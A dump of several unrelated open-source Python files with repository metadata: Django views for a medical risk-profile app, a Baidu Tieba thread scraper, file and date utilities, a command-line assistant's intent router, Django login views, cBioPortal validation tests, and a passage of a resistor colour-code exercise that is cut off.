AlzheimerRiskProfile_Report, \n })\n\n\ndef alzheimerRiskProfilesRun(request):\n alzheimerRiskProfile_Api()\n\n patientID = request.POST.get('patient_from_dropdown')\n patientId_string = str(patientID)\n docs = db.collection(\"patients\").get()\n\n for doc in docs:\n if (str(doc.to_dict()['PatientID']))==patientId_string:\n\n key = doc.id\n AlzheimerRiskProfile_Report = []\n AlzheimerRiskProfile_Report.append(u'{}'.format(doc.to_dict()['Alzheimer_RiskLevel_Reports']))\n \n print(AlzheimerRiskProfile_Report)\n\n tempList = []\n tempList.append(alzheimerRiskProfile_Api())\n\n db.collection(\"patients\").document(key).update({\"Alzheimer_RiskLevel_Reports\": tempList})\n\n else:\n print(\"They are different...\")\n\n return render(request, 'risk-profiles.html', {\n \"patientsList\" : patientsList,\n \n })\n\n\ndef userProfiling(request):\n return render(request, 'user-profiling.html', {\n \"patientsList\" : patientsList,\n })\n\n\n\n\ndef dataAggregator(request):\n return render(request, 'data-aggregator.html', {\n \"patientsList\" : patientsList,\n })\n\n\ndef dataAggregatorPost(request):\n import csv\n\n\n patientID = request.POST.get('patient_from_dropdown')\n patientId_string = str(patientID)\n docs = db.collection(\"patients\").get()\n\n for doc in docs:\n if (str(doc.to_dict()['PatientID']))==patientId_string:\n\n patient_FirstName = u'{}'.format(doc.to_dict()['FirstName'])\n patient_lastName = u'{}'.format(doc.to_dict()['LastName'])\n\n name = patient_FirstName + \"_\" + patient_lastName + \"_\" + \"dataset.csv\"\n\n \n\n with open(name, mode='w') as employee_file:\n employee_writer = csv.writer(employee_file, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n\n employee_writer.writerow([ u'{}'.format(doc.to_dict()['Alzheimer_RiskLevel_Reports']) ])\n\n\n else:\n print(\"They are different...\")\n\n\n\n \n\n\n return render(request, 'data-aggregator.html', {\n \"patientsList\" : patientsList,\n \"result\" : \"Dataset generated successfully!\"\n })\n\n","repo_name":"damiangornik8/medicheck","sub_path":"Medicheck/MediWeb/mediweb20/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":13008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"10909178270","text":"#encoding:utf-8\n#python 3.4\nimport urllib\nfrom urllib.request import Request\nfrom urllib.request import urlopen\nimport re\n\nfrom TiebaTools import TiebaTools\n\n\nclass Tieba:\n\n #初始化,传入基地址,是否只看楼主的参数\n def __init__(self,baseUrl,seeLZ):\n self.baseUrl = baseUrl\n #是否只看楼主标记 1 为真\n self.seeLz = '?see_lz='+str(seeLZ)\n #处理标记的工具类\n self.tool = TiebaTools()\n #需要写入的文件的文件名\n self.defaultFileName = \"text\"\n #写入的文件\n self.file = None\n #帖子的楼层\n self.floor = 1\n #传入页码,获取该帖子的html代码\n def getPage(self,pageNum):\n try:\n url = self.baseUrl+self.seeLz+'&pn='+str(pageNum)\n request = Request(url)\n response = urlopen(request)\n return response.read().decode('utf-8')\n #页面不存在抛出异常\n except HttpError as e:\n if hasattr(e,'reason'):\n print('连接错误,错误原因',e.reason)\n return None\n #获取贴吧的名称\n def getTiebaName(self):\n page = self.getPage(1)\n # 魔兽世界吧\n #正则表达式:(.*?)\n pattern = re.compile('(.*?)',re.S)\n result = re.search(pattern,page)\n if result is not None:\n return result.group(1).strip()\n else:\n return None\n\n #获取帖子的名称\n def getTitle(self):\n page = self.getPage(1)\n #

    95年,我第一次枪钱

    \n # 正则表达式:

    (.*?)

    \n pattern = re.compile('

    (.*?)

    ', re.S)\n result = re.search(pattern, page)\n if result is not None:\n return result.group(1).strip()\n else:\n return None\n\n # 获取帖子一共有多少页\n #
  • \n # 241445回复贴,共5457页\n #
  • \n def getPageNum(self):\n page = self.getPage(1)\n pattern = re.compile('
  • .*?(.*?)', re.S)\n result = re.search(pattern, page)\n if result:\n # print result.group(1) #测试输出\n return result.group(1).strip()\n else:\n return None\n\n # 输入一页的页数,获取每一层楼的内容\n #
    \n #\n # 身为80后,我只想说,我们也不是什么好屌。
    \n #这里“身为80后”这一句出现了超链接,接下来还可能出现图片换行符等,后面写入的时候用工具类处理\n def getContent(self, page):\n pattern = re.compile('
    (.*?)
    ', re.S)\n items = re.findall(pattern, page)\n return items\n\n #创建并且打开文件\n def openFile(self,title):\n # 如果标题不是为None,即成功获取到标题\n if title is not None:\n self.file = open(title + \".txt\", \"w+\")\n else:\n self.file = open(self.defaultFileName + \".txt\", \"w+\")\n #写入文件\n def writeFile(self,contents):\n for item in contents:\n item = \"第\"+str(self.floor)+\"楼---------------------\" \\\n \"----------------------------\\n\"+\" \"+self.tool.replace(item)+\"\\n\"\n self.floor+=1\n self.file.write(item)\n\n def start(self):\n #某一页的内容\n indexPage = self.getPage(1)\n #贴吧的名称\n tiebaName = tieba.getTiebaName()\n #帖子总共有多少页\n pageNum = self.getPageNum()\n #帖子的名称\n title = self.getTitle()\n #打开文件\n self.openFile(title)\n if pageNum == None:\n print(\"URL已失效,请重试\")\n return None\n try:\n print(\"贴吧名称:\",tiebaName )\n print(\"帖子名称\",title)\n print(\"该帖子共有\" + str(pageNum) + \"页\")\n print(\"正在写入数据,请稍等\")\n bar = 0\n for i in range(1, int(pageNum) + 1):\n page = self.getPage(i)\n contents = self.getContent(page)\n self.writeFile(contents)\n if int((i/int(pageNum))*100)%5==0:\n print(bar,\"%\")\n bar+=5\n # 出现写入异常\n except IOError as e:\n print(\"写入异常,原因\" + e.message)\n finally:\n print\n \"写入任务完成\"\n self.file.close()\n\n\n#小说\nbaseUrl = \"http://tieba.baidu.com/p/1286517600\"\n\ntieba = Tieba(baseUrl,1)\ntieba.start()","repo_name":"toughie88/crawler","sub_path":"BaiduTieBa/.idea/tieba.py","file_name":"tieba.py","file_ext":"py","file_size_in_byte":5702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"19447305522","text":"import calendar,datetime,os,zipfile\n\ndef delete_empty_folders(path):\n \"\"\"\n Utility function to delete the empty directories if all underlying directories are empty\n :param path: Path to be searched and deleted if empty\n :return: Success code [0 if successful / 1 if unsuccessful]\n \"\"\"\n for root,directories,files in list(os.walk(path))[1:]:\n if len(directories) == 0 and len(files) == 0:\n try:\n os.rmdir(root)\n except Exception as e:\n exit(1)\n else:\n exit(0)\n\ndef delete_all_files(path):\n \"\"\"\n Recursively deletes a folder\n :param path: Path from which files are to be deleted\n :return: Success code [0 if successful / 1 if unsuccessful]\n \"\"\"\n for root,directories,files in list(os.walk(path))[1:]:\n if len(files) == 0:\n exit(0)\n else:\n for f in files:\n try:\n os.remove(os.path.join(root,f))\n except Exception as e:\n exit(1)\n else:\n exit(0)\n\ndef delete_files_starting_ending_with(directory: str, pattern: str,flag: str):\n \"\"\"\n Deletes all files in a directory ending with the provided pattern\n :param directory: Directory where to search\n :param pattern: Search pattern\n :param flag: start or end flag [Values S-> start , E-> end]\n :return:\n \"\"\"\n if not os.path.exists(directory):\n return\n if not os.path.isdir(directory):\n raise Exception(\"Expected a directory\")\n exit(1)\n for root,dirs,files in os.walk(directory):\n if flag == 'S':\n for file in [os.path.join(root,x) for x in files if x.endswith(pattern)]:\n os.remove(file)\n elif flag == 'E':\n for file in [os.path.join(root,x) for x in files if x.startswith(pattern)]:\n os.remove(file)\n else:\n raise Exception(\"Flag Value not matching start or end pattern\")\n exit(1)\n\ndef zip_file(input_path: str,output_path: str):\n \"\"\"\n Zips a file at the input path and writes it to output path\n :param input_path: The file to zip\n :param output_path: The target path of the zipped path\n :return: Success code [0 if successful / 1 if unsuccessful]\n \"\"\"\n with zipfile.ZipFile(\n file=output_path,\n mode='w',\n compression=zipfile.ZIP_DEFLATED,\n compresslevel=9\n ) as zf:\n try:\n zf.write(input_path,arcname=os.path.split(input_path)[1])\n except Exception as e:\n exit(1)\n else:\n exit(0)\n\ndef get_csv_field_names(full_file_path: str):\n \"\"\"\n Gets the field names of a csv file\n :param full_file_path: path of a csv file\n :return: csv header in a python dictionary\n \"\"\"\n with open(full_file_path, 'r') as f:\n return csv.DictReader(f).fieldnames\n\ndef days_in_month(year: int, month: int) -> int:\n \"\"\"\n Calculates the number of days in a provided year and month\n :param year: Year of the date\n :param month: Month of the date\n :return: The number of days in the provided year and month\n \"\"\"\n return calendar.monthrange(year,month)[1]\n\ndef end_of_next_month(year: int,month: int) -> datetime.date:\n \"\"\"\n Calculates the date that represents the end of the next month after the provided year and month\n :param year: Year of the date (YYYY Type Integer)\n :param month: Month of the date (MM Type Integer)\n :return: Date\n \"\"\"\n if month == 12:\n month = 1\n year += 1\n else:\n month +=1\n return datetime.date(year,month, days_in_month(year,month))\n\ndef end_of_month(year: int,month: int) -> datetime.date:\n \"\"\"\n Calculates the date that represents the end of the month after the provided year and month\n :param year: Year of the date (YYYY Type Integer)\n :param month: Month of the date (MM Type Integer)\n :return: Date\n \"\"\"\n return datetime.date(year,month, days_in_month(year,month))\n\ndef start_of_next_month(year: int,month: int) -> datetime.date:\n \"\"\"\n Calculates the date that represents the start of the month after the provided year and month\n :param year: Year of the date (YYYY Type Integer)\n :param month: Month of the date (MM Type Integer)\n :return: Date\n \"\"\"\n return end_of_month(year,month) + datetime.timedelta(days=1)\n\n\n","repo_name":"ts97838sr/python","sub_path":"utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":4403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"43412138825","text":"##################################################################################################\r\n\r\n###########\r\n###########\r\n###########\r\n###########\r\n###########\r\n########### ######## ########################## ######\r\n########### ######## ########################### ########\r\n########### ######## ############################ ##########\r\n########### ######## ####### ########### ############\r\n########### ######## ####### ########### ##### #####\r\n########### ####### ########### ##### #####\r\n########### ######## ####### ########### ####### #######\r\n########### ######## ####### ########### ####################\r\n########### ####### ########### ######################\r\n########### ######## ####### ########### ########################\r\n########### ######## ####### ########### ######## ########\r\n########### ######## ####### ########### ######## ########\r\n########### ######## ####### ########### ######## ########\r\n########### ######## ####### ########### ######## #######\r\n##################### ######## ####### ########### ######## ######\r\n############################# ######## ####### ########### ######## #####\r\n############################### ######## ####### ########### ######## ####\r\n############################## ################ ####### ########### ##### ###\r\n############################# ############### #### ############ ###### ##\r\n############################# ################ #### ########### ########## #######\r\n\r\n\r\n##################################################################################################\r\n\r\n\r\n# Greetings.\r\n\r\n# Copyright (c) FRTNX [Busani P. Ndlovu]\r\n\r\n# All rights reserved under the 3-clause BSD License:\r\n\r\n# Redistribution and use in source and binary forms, with or without modification, are permitted\r\n# provided that the following conditions are met:\r\n\r\n# * Redistributions of source code must retain the above copyright notice, this list of conditions\r\n# and the following disclaimer.\r\n# * Redistributions in binary form must reproduce the above copyright notice, this list of\r\n# conditions and the following disclaimer in the documentation and/or other materials provided\r\n# with the distribution.\r\n# * Neither the name FRTNX nor Busani P. Ndlovu nor any other moniker nor the names of any present\r\n# or future contributors may be used to endorse or promote products derived from this software\r\n# without specific prior written permission.\r\n\r\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR\r\n# IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND\r\n# FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL CONTINUUM ANALYTICS, INC. BE\r\n# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\r\n# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,\r\n# OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\r\n# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF\r\n# THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\r\n\r\nfrom annoyances import *\r\n\r\nimport os\r\nimport json\r\nimport rollbar\r\nimport random\r\nimport warnings\r\nimport requests\r\nimport wikipedia\r\n# from personality import *\r\nfrom rasa_nlu.model import Interpreter\r\nfrom functions.responses import *\r\nfrom persistence import index as persistence\r\nfrom functions.utils import main as utils\r\nfrom functions.weather import main as weather\r\nfrom functions.informant import main as intel_handler\r\nfrom functions.onboarding import main as onboarding\r\nfrom functions.display_manager.main import output_prompt as H\r\nfrom functions.display_manager import main as display_manager\r\nfrom functions.command_handler.main import command_handler\r\nfrom prompt_toolkit.shortcuts import prompt\r\nfrom prompt_toolkit.styles import style_from_dict\r\nfrom prompt_toolkit.token import Token\r\nfrom prompt_toolkit.history import FileHistory\r\nfrom prompt_toolkit.auto_suggest import AutoSuggestFromHistory\r\nfrom prompt_toolkit.contrib.completers import WordCompleter\r\nfrom func_timeout.StoppableThread import StoppableThread\r\nfrom func_timeout import func_timeout, FunctionTimedOut\r\n\r\nwarnings.filterwarnings(\"ignore\", category=UserWarning, module='bs4')\r\n\r\nprompt_style = style_from_dict({\r\n Token: '#F5F5F5',\r\n Token.OpenBrace: '#F5F5F5',\r\n Token.UserName: '#545454',\r\n Token.CloseBrace: '#F5F5F5'\r\n})\r\n\r\ndef get_prompt_tokens(cli):\r\n return [\r\n (Token.OpenBrace, '\\n['),\r\n (Token.UserName, os.environ['LUNA_USER']),\r\n (Token.CloseBrace, '] ')\r\n ]\r\n\r\ndef handle_user_input(user_input):\r\n processed = intent_and_entity_rerouter(user_input);\r\n if processed:\r\n return\r\n command_handler(user_input)\r\n return\r\n\r\ndef prompt_handler():\r\n while True:\r\n try:\r\n # LunaCompleter = WordCompleter(persistence.fetch_title_suggestions(), ignore_case=True) # get wordlist instead?\r\n user_input = prompt(\r\n get_prompt_tokens=get_prompt_tokens,\r\n style=prompt_style,\r\n history=FileHistory('history.txt'),\r\n # todo: auto suggest from titles in db, split into words, filtered for duplicates\r\n auto_suggest=AutoSuggestFromHistory(),\r\n # completer=LunaCompleter,\r\n )\r\n handle_user_input(user_input)\r\n except Exception as e:\r\n logging.error(f'Error processing user input: {e}')\r\n pass\r\n\r\n# todo: move to config file\r\nnlu_ignore = ['extract ', 'list ', 'pin ', 'merge ', 'whats in the ', 'convert ', 'search ']\r\n\r\ndef nlu_parser(text):\r\n parsed_text = requests.post('http://localhost:5000/parse', data=json.dumps({ 'q': text }))\r\n return json.loads(parsed_text.text)\r\n\r\ndef intent_and_entity_rerouter(text):\r\n logging.info('Intent classifier received: %s' % text)\r\n for ignorable in nlu_ignore:\r\n if (text.lower().startswith(ignorable)):\r\n command_handler(text)\r\n return True\r\n\r\n THRESHOLD = 0.75\r\n\r\n try:\r\n nlu_response = func_timeout(1, nlu_parser, args=(text,))\r\n except (FunctionTimedOut, Exception) as e:\r\n logging.error(f'Error getting NLU data: {e}')\r\n return False\r\n \r\n logging.debug('Intent classifier response: %s' % nlu_response)\r\n if nlu_response['intent']['confidence'] >= THRESHOLD:\r\n intent = nlu_response['intent']['name']\r\n entities = nlu_response['entities']\r\n\r\n has_entities = isinstance(entities, list) and len(entities) > 0 \r\n\r\n if intent == 'get_weather':\r\n logging.info('Weather request acknowledged. Sending through designated path.')\r\n if entities:\r\n weather.get_weather(False, False, *[entities[0]['value']])\r\n else:\r\n weather.get_weather()\r\n return True\r\n\r\n elif intent == 'find_info' and has_entities:\r\n # TODO: consider how to make images and local lookup optional\r\n # possible intents: toggle_image_display (translated entities: on/off); toggle_air_gap (grants or removes Luna's access to the internet,\r\n # and, more importantly, the internets access to Luna)\r\n action = intel_handler.informant(entities[0]['value'].title(), True, 0, False)\r\n logging.info(f'Caller received action: {action}')\r\n if action:\r\n handle_user_input(action)\r\n return True\r\n\r\n elif intent == 'find_images':\r\n if utils.is_online():\r\n entity = entities[0]['value']\r\n try:\r\n image_urls = wikipedia.page(entity).images\r\n render_images = StoppableThread(target=display_manager.fetch_images, args=(entities[0]['value'], image_urls,))\r\n render_images.daemon = True\r\n render_images.start()\r\n H(); sprint(random.choice(pending_image_search_responses))\r\n except Exception as e:\r\n logging.error(e);\r\n H(); sprint('For some reason I could not comply.')\r\n else:\r\n H(); sprint('I need an internet connection to comply.')\r\n return True \r\n\r\n elif intent == 'find_related_info' and has_entities:\r\n utils.find_related(entities[0]['value'])\r\n return True\r\n\r\n elif intent == 'directions' and has_entities:\r\n origin = None\r\n destination = None\r\n for entity in entities:\r\n if entity['entity'] == 'source':\r\n origin = entity['value']\r\n elif entity['entity'] == 'destination':\r\n destination = entity['value']\r\n logging.info('Parsing direction query with destination: %s and origin: %s' % (destination, origin))\r\n if destination:\r\n utils.directions(destination, origin)\r\n else:\r\n H(); sprint('No destination found.')\r\n return True\r\n\r\n elif intent == 'find_location' and has_entities:\r\n utils.find_location(entities[0]['value'])\r\n return True\r\n\r\n elif intent == 'find_more_info' and has_entities:\r\n action = intel_handler.informant(entities[0]['value'].title(), False, 0, True)\r\n logging.info(f'Caller received action: {action}')\r\n if action:\r\n handle_user_input(action)\r\n else:\r\n return True\r\n\r\n else:\r\n return False\r\n \r\n return False\r\n\r\n\r\nif __name__ == '__main__':\r\n logging.debug('Initialising')\r\n onboarding.suggested_reading()\r\n user = onboarding.initialize()\r\n logging.info(f'Got user back from identifier: {user}')\r\n while True:\r\n try:\r\n # check for pending user messages\r\n # display if present\r\n prompt_handler()\r\n except KeyboardInterrupt as e:\r\n # todo: verify action\r\n H(); sprint(random.choice(farewell_responses))\r\n logging.info('Session terminated by user')\r\n logging.warn('Shutting down')\r\n exit()\r\n","repo_name":"FRTNX/LUNA-v1","sub_path":"luna.py","file_name":"luna.py","file_ext":"py","file_size_in_byte":11311,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"26695443337","text":"from django.shortcuts import render, redirect, render_to_response\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.http import HttpResponseRedirect\nfrom django.template import RequestContext\nfrom django.core.context_processors import csrf\nfrom django.core.urlresolvers import reverse\nfrom users.forms import RegistrationForm, LoginForm\n\n# Define view for registration form\ndef register(request):\n page_title = \"Randora User Registration\"\n user = request.user\n form = RegistrationForm(request.POST or None)\n errors = []\n\n context = {\n \"page_title\": page_title,\n \"user\": user,\n \"form\": form,\n \"errors\": errors,\n }\n\n # If user is already logged in, redirect them to their profile\n if user.is_authenticated():\n return HttpResponseRedirect(reverse('profile', kwargs={'username': request.user.username}))\n\n # Handler for form submission and user creation\n if request.method == 'POST':\n if form.is_valid():\n user = User.objects.create_user(\n username = form.cleaned_data['username'], \n email = form.cleaned_data['email'],\n password = form.cleaned_data['password'],\n )\n user.save()\n return HttpResponseRedirect(reverse('login'))\n else:\n errors.append(\"Form not valid.\")\n return render_to_response(\n 'users_register.html', \n context, \n context_instance=RequestContext(request)\n )\n else:\n return render_to_response(\n 'users_register.html', \n context, \n context_instance=RequestContext(request)\n )\n\n\ndef users_login(request):\n page_title = \"Randora Login\"\n form = LoginForm(request.POST or None)\n errors = []\n\n context = {\n \"page_title\": page_title,\n \"form\": form,\n \"errors\": errors,\n }\n\n if request.user.is_authenticated():\n return HttpResponseRedirect(reverse('profile', kwargs={'username': request.user.username}))\n\n if request.method == 'POST':\n if form.is_valid():\n username = request.POST['username']\n password = request.POST['password']\n user = authenticate(username=username, password=password)\n if user:\n if user.is_active:\n login(request, user)\n return HttpResponseRedirect(reverse('profile', kwargs={'username': request.user.username}))\n else:\n errors.append(\"Your account has been disabled.\")\n return render(request, 'users_login.html', context)\n else:\n errors.append(\"Invalid login.\")\n return render(request, 'users_login.html', context)\n else:\n return render(request, 'users_login.html', context)\n\n\ndef users_logout(request):\n logout(request)\n return HttpResponseRedirect(reverse('login'))\n\n\ndef profile(request, username):\n user = User.objects.get(username=username)\n page_title = \"%s Profile\" % username\n errors =[]\n\n context = {\n \"user\": user,\n \"page_title\": page_title,\n \"errors\": errors,\n }\n \n return render(request, 'users_profile.html', context)\n\n","repo_name":"FFX01/randora_website","sub_path":"src/users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2990,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"70462803079","text":"import unittest\nimport logging\nimport tempfile\nimport os\nimport shutil\nimport time\nimport difflib\n\nfrom importer import validateData\n\ntry:\n WindowsError\nexcept NameError:\n WindowsError = None\n\n# globals:\nPORTAL_INFO_DIR = 'test_data/api_json_system_tests'\n\nclass ValidateDataSystemTester(unittest.TestCase):\n '''Test cases around running the complete validateData script\n\n (such as \"does it return the correct exit status?\" or \"does it generate\n the html report when requested?\", etc)\n '''\n\n def setUp(self):\n _resetClassVars()\n\n # Prepare global variables related to sample profiled for mutations and gene panels\n self.mutation_sample_ids = None\n self.mutation_file_sample_ids = set()\n self.fusion_file_sample_ids = set()\n\n def tearDown(self):\n \"\"\"Close logging handlers after running validator and remove tmpdir.\"\"\"\n # restore original function\n validateData.mutation_sample_ids = None\n validateData.mutation_file_sample_ids = set()\n validateData.fusion_file_sample_ids = set()\n\n # get the logger used in validateData.main_validate()\n validator_logger = logging.getLogger(validateData.__name__)\n # flush and close all handlers of this logger\n for logging_handler in validator_logger.handlers:\n logging_handler.close()\n # remove the handlers from the logger to reset it\n validator_logger.handlers = []\n super(ValidateDataSystemTester, self).tearDown()\n\n def assertFileGenerated(self, tmp_file_name, expected_file_name):\n \"\"\"Assert that a file has been generated with the expected contents.\"\"\"\n self.assertTrue(os.path.exists(tmp_file_name))\n with open(tmp_file_name, 'r') as out_file, \\\n open(expected_file_name, 'r') as ref_file:\n base_filename = os.path.basename(tmp_file_name)\n diff_result = difflib.context_diff(\n ref_file.readlines(),\n out_file.readlines(),\n fromfile='Expected {}'.format(base_filename),\n tofile='Generated {}'.format(base_filename))\n diff_line_list = list(diff_result)\n self.assertEqual(diff_line_list, [],\n msg='\\n' + ''.join(diff_line_list))\n # remove temp file if all is fine:\n try:\n os.remove(tmp_file_name)\n except WindowsError:\n # ignore this Windows specific error...probably happens because of virus scanners scanning the temp file...\n pass \n\n def test_exit_status_success(self):\n '''study 0 : no errors, expected exit_status = 0.\n\n If there are errors, the script should return\n 0: 'succeeded',\n 1: 'failed',\n 2: 'not performed as problems occurred',\n 3: 'succeeded with warnings'\n '''\n\n # build up the argument list\n print(\"===study 0\")\n args = ['--study_directory', 'test_data/study_es_0/',\n '--portal_info_dir', PORTAL_INFO_DIR, '-v']\n # execute main function with arguments provided as if from sys.argv\n args = validateData.interface(args)\n exit_status = validateData.main_validate(args)\n self.assertEqual(0, exit_status)\n\n def test_exit_status_failure(self):\n '''study 1 : errors, expected exit_status = 1.'''\n #Build up arguments and run\n print(\"===study 1\")\n args = ['--study_directory', 'test_data/study_es_1/',\n '--portal_info_dir', PORTAL_INFO_DIR, '-v']\n args = validateData.interface(args)\n # Execute main function with arguments provided through sys.argv\n exit_status = validateData.main_validate(args)\n self.assertEqual(1, exit_status)\n\n @unittest.SkipTest\n # FIXME Study test_data/study_es_invalid does not exist\n def test_exit_status_invalid(self):\n '''test to fail: give wrong hugo file, or let a meta file point to a non-existing data file, expected exit_status = 2.'''\n #Build up arguments and run\n print(\"===study invalid\")\n args = ['--study_directory', 'test_data/study_es_invalid/',\n '--portal_info_dir', PORTAL_INFO_DIR, '-v']\n args = validateData.interface(args)\n # Execute main function with arguments provided through sys.argv\n exit_status = validateData.main_validate(args)\n self.assertEqual(2, exit_status)\n\n def test_exit_status_warnings(self):\n '''study 3 : warnings only, expected exit_status = 3.'''\n # data_filename: test\n #Build up arguments and run\n print(\"===study 3\")\n args = ['--study_directory', 'test_data/study_es_3/',\n '--portal_info_dir', PORTAL_INFO_DIR, '-v']\n args = validateData.interface(args)\n # Execute main function with arguments provided through sys.argv\n exit_status = validateData.main_validate(args)\n self.assertEqual(3, exit_status)\n\n def test_html_output(self):\n '''\n Test if html file is correctly generated when 'html_table' is given\n '''\n #Build up arguments and run\n out_file_name = 'test_data/study_es_0/result_report.html~'\n args = ['--study_directory', 'test_data/study_es_0/',\n '--portal_info_dir', PORTAL_INFO_DIR, '-v',\n '--html_table', out_file_name]\n args = validateData.interface(args)\n # Execute main function with arguments provided through sys.argv\n exit_status = validateData.main_validate(args)\n self.assertEqual(0, exit_status)\n self.assertFileGenerated(out_file_name,\n 'test_data/study_es_0/result_report.html')\n\n def test_portal_mismatch(self):\n '''Test if validation fails when data contradicts the portal.'''\n # build up arguments and run\n argv = ['--study_directory', 'test_data/study_portal_mismatch',\n '--portal_info_dir', PORTAL_INFO_DIR, '--verbose']\n parsed_args = validateData.interface(argv)\n exit_status = validateData.main_validate(parsed_args)\n # flush logging handlers used in validateData\n validator_logger = logging.getLogger(validateData.__name__)\n for logging_handler in validator_logger.handlers:\n logging_handler.flush()\n # expecting only warnings (about the skipped checks), no errors\n self.assertEqual(exit_status, 1)\n\n def test_no_portal_checks(self):\n '''Test if validation skips portal-specific checks when instructed.'''\n # build up arguments and run\n argv = ['--study_directory', 'test_data/study_portal_mismatch',\n '--verbose',\n '--no_portal_checks']\n parsed_args = validateData.interface(argv)\n exit_status = validateData.main_validate(parsed_args)\n # flush logging handlers used in validateData\n validator_logger = logging.getLogger(validateData.__name__)\n for logging_handler in validator_logger.handlers:\n logging_handler.flush()\n # expecting only warnings (about the skipped checks), no errors\n self.assertEqual(exit_status, 3)\n\n def test_problem_in_clinical(self):\n '''Test whether the script aborts if the sample file cannot be parsed.\n\n Further files cannot be validated in this case, as all sample IDs will\n be undefined. Validate if the script is giving the proper error.\n '''\n # build the argument list\n out_file_name = 'test_data/study_wr_clin/result_report.html~'\n print('==test_problem_in_clinical==')\n args = ['--study_directory', 'test_data/study_wr_clin/',\n '--portal_info_dir', PORTAL_INFO_DIR, '-v',\n '--html_table', out_file_name]\n # execute main function with arguments provided as if from sys.argv\n args = validateData.interface(args)\n exit_status = validateData.main_validate(args)\n self.assertEqual(1, exit_status)\n # TODO - set logger in main_validate and read out buffer here to assert on nr of errors\n self.assertFileGenerated(out_file_name,\n 'test_data/study_wr_clin/result_report.html')\n\n def test_various_issues(self):\n '''Test if output is generated for a mix of errors and warnings.\n\n This includes HTML ouput, the error line file and the exit status.\n '''\n # build the argument list\n html_file_name = 'test_data/study_various_issues/result_report.html~'\n error_file_name = 'test_data/study_various_issues/error_file.txt~'\n args = ['--study_directory', 'test_data/study_various_issues/',\n '--portal_info_dir', PORTAL_INFO_DIR, '-v',\n '--html_table', html_file_name,\n '--error_file', error_file_name]\n args = validateData.interface(args)\n # execute main function with arguments provided through sys.argv\n exit_status = validateData.main_validate(args)\n # flush logging handlers used in validateData\n validator_logger = logging.getLogger(validateData.__name__)\n for logging_handler in validator_logger.handlers:\n logging_handler.flush()\n # should fail because of various errors in addition to warnings\n self.assertEqual(1, exit_status)\n # In MAF files (mutation data) there is a column called\n # \"Matched_Norm_Sample_Barcode\". The respective metadata file supports\n # giving a list of sample codes against which this column is validated.\n # This and other errors are expected in these output files.\n self.assertFileGenerated(\n html_file_name,\n 'test_data/study_various_issues/result_report.html')\n self.assertFileGenerated(\n error_file_name,\n 'test_data/study_various_issues/error_file.txt')\n\n def test_files_with_quotes(self):\n '''\n Tests the scenario where data files contain quotes. This should give errors.\n '''\n #Build up arguments and run\n out_file_name = 'test_data/study_quotes/result_report.html~'\n print('==test_files_with_quotes==')\n args = ['--study_directory', 'test_data/study_quotes/',\n '--portal_info_dir', PORTAL_INFO_DIR, '-v',\n '--html_table', out_file_name]\n args = validateData.interface(args)\n # Execute main function with arguments provided through sys.argv\n exit_status = validateData.main_validate(args)\n # should fail because of errors with quotes\n self.assertEqual(1, exit_status)\n self.assertFileGenerated(out_file_name,\n 'test_data/study_quotes/result_report.html')\n\ndef _resetClassVars():\n \"\"\"Reset the state of classes that check mulitple files of the same type.\n \n GsvaWiseFileValidator classes check\n consistency between multiple data files by collecting information in class variables.\n This implementation is not consistent with the unit test environment that simulates\n different studies to be loaded. To ensure real-world fucntionality the class variables \n should be reset before each unit test that tests multi file consistency.\"\"\"\n\n for c in [ validateData.GsvaWiseFileValidator ]:\n c.prior_validated_sample_ids = None\n c.prior_validated_feature_ids = None\n c.prior_validated_header = None\n\nif __name__ == '__main__':\n unittest.main(buffer=True)\n","repo_name":"cBioPortal/cbioportal","sub_path":"core/src/test/scripts/system_tests_validate_data.py","file_name":"system_tests_validate_data.py","file_ext":"py","file_size_in_byte":11514,"program_lang":"python","lang":"en","doc_type":"code","stars":497,"dataset":"github-code","pt":"62"} +{"seq_id":"35514721245","text":"COLORS_DICT = {\n 'black': 0,\n 'brown': 1,\n 'red': 2,\n 'orange': 3,\n 'yellow': 4,\n 'green': 5,\n 'blue': 6,\n 'violet': 7,\n 'grey': 8,\n 'white': 9\n}\n\nTOLERANCE_DICT = {\n 'grey' : ' ±0.05%',\n 'violet' : ' ±0.1%',\n 'blue' : ' ±0.25%',\n 'green' : ' ±0.5%',\n 'brown' : ' ±1%',\n 'red' : ' ±2%',\n 'gold' : ' ±5%',\n 'silver' : ' ±10%'\n}\n\ndef resistor_label(colors):\n if colors == ['black']:\n return \"0 ohms\"\n\n values = \"\"\n tolerances = \"\"\n zeroes = \"\"\n\n for band in colors[0:-2]:\n values = values + str(COLORS_DICT[band])\n zeroes = \"0\" * COLORS_DICT[colors[-2]]\n tolerances = TOLERANCE_DICT[colors[-1]]\n\n return format_values(values + zeroes) + get_prefix(values+zeroes) + tolerances\n\ndef get_prefix(number_string):\n ohms_prefix = [' ohms', ' kiloohms', ' megaohms', ' gigaohms']\n count = 0\n values = number_string\n while 